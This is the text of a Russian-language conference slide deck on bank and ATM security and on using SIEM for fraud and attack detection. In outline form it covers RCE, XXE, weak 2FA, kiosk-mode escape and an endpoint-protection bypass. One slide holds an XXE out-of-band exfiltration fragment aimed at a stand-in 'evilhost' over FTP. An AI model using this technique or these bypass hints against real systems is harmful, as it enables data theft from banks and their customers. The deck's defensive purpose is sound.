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(Бес)полезный SIEM 
3 истории из жизни безопасников в банке 

Юнусов Тимур 
Руководитель отдела анализа защищенности банковских систем 

 

 



План 
 
 - Веб-приложения 
 - Банкоматы 
 - Внутри банка 
 - Почему? 
 - ??? 
 
 
 



За 5 лет ничего нового, но: 
каждое банковское приложение уязвимо. 
 
 - RCE 
 - И/А/А/2ФА 
 - etc 
 
 



RCE 
 
 
 
 
                               => 

 
         
     http://blog.mindedsecurity.com/ 
   2016/02/rce-in-oracle-netbeans-opensource.html  

 
 
 



RCE 
 
 
                                  => 

 
 
 



XXE 
 
 - Firewall 
 - Вывода данных нет 
 - Есть импорт XML 
 - Профит! 
 
 - OOB без внешних XML! 
 - ftp://evilhost:(123|53)/%a; 
 
 
 
 
 



XXE 
 
  
 
 
 
 



2ФАутентификация 
 
- VASCO(TM)  DIGIPASS  
  - SSL Pinning – WAT? 
  - OTP(time()) 
 
 



$ -> $ 
Р -> Р 
Р -> $ 
 
 
 
 



$ -> $ 
Р -> Р 
P -> $ 
 
 
100Р -> $100 
 
 
 
 



Банкоматы 
 
 
 
 



Банкоматы 
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Банкоматы / OS 
 
 
 
 

Выход из Kiosk mode 
Hotkeys, обход Local Policy  



Банкоматы / OS 
 
 
 
 

Обход McAfee Solidcore,  
поднятие привилегий 
CVE-2016-8009 
 
https://www.exploit-db.com/docs/39228.pdf 

(SEC Consult 01/2016) 
Нет защиты от повреждения памяти  
Trusted Software / Выполнение в памяти (IE, FAR, PS, etc) 

 
 



Банкоматы / Net 
 
 
 
 

VPN – NDC TLS – NDC MAC 
Firewall 
 Обновления Windows 
 Исходящие запросы 
 etc 

 
 
 
Промышленные GSM-модемы - фэйл 
http://blog.ptsecurity.com/2015/12/critical-vulnerabilities-in-3g4g-modems.html 



Банкоматы / Железо 
 
 
 
 Контроль USB-устройств 

Шифрование HDD 
BIOS 
«Blackbox» 
 



Внутри банка 



Внутри банка 
  
 - Социальная инженерия 
 - Плохая сегментация / misconfiguration 
 - Отсутствие систем мониторинга 
 - Уязвимые приложения 



ABS 1 
ACL, какой ACL? 
 
Добавляем “user”   USER1 
Выставляем “admin rights” USER1 
Подтверждаем “admin rights” USER2 
 



Почему 
 
Все делают ошибки: 
 - разработчики 
 - сисадмины 
 - безопасники 
 - инженеры 
 
Халатное отношение: 
 - вендоры 
 - клиенты 
 
 
 



Что делать? 
 
 
 



Что делать? 
 
 
 

Information security 
tools 

Networking devices 

Operating systems 

Apps 

INCIDENT 

COLLECTION 

AND 

CORRELATION 

Normalization 

Filtration 

Aggregation 

Storage 

Dashboarding  

Notification 

Reporting 



SIEM==Antifraud 
 
 - Скоринг попыток одинаковых действий с false-
результатом 
 - Цель – учетка, а не сессия 
 - Подключение всех событий в источники – регистрация 
идентификация авторизация и т.д. 
 - Прописать все ACL 
 - WAF с доступом в backend 
 - DBF 
 
 



SIEM==Antifraud 
 
 - Детект «аномалий» 
 User1 вошел 
 User1 запросил смс на перевод 
 User1 отправил ОТП 
 - Детект автоматических действий 
 Client-side JS 
 
 
 



SIEM4ATM 
 
Агент на АТМ 
   - Перехват драйвера клавиатуры 
   - Порты В/В 
   - Процессы 
   - Файловая активность 
   - etc 
 
 
 
 



SIEM4ATM 
 
 
 
 
 
 



SIEM4ATM 
 

Нас ребут, а мы крепчаем: 
 Несколько ребутов за временной интервал 

 Интеграция с “ATM саппорт”  

   

 

 Безопасный режим 

 

 

 

 

 

Incident 

Incident 



SIEM4ATM 
 

ОС 

 - операции В/В (XFS) 

 - Активность ФС (DLL injection, манип. с файлами) 

 -  

 

Incident 

Incident 



Спасибо, вопросы? 

 http://uk.linkedin.com/in/tyunusov  

 

 tyunusov@ptsecurity.com  

  

 a66at  


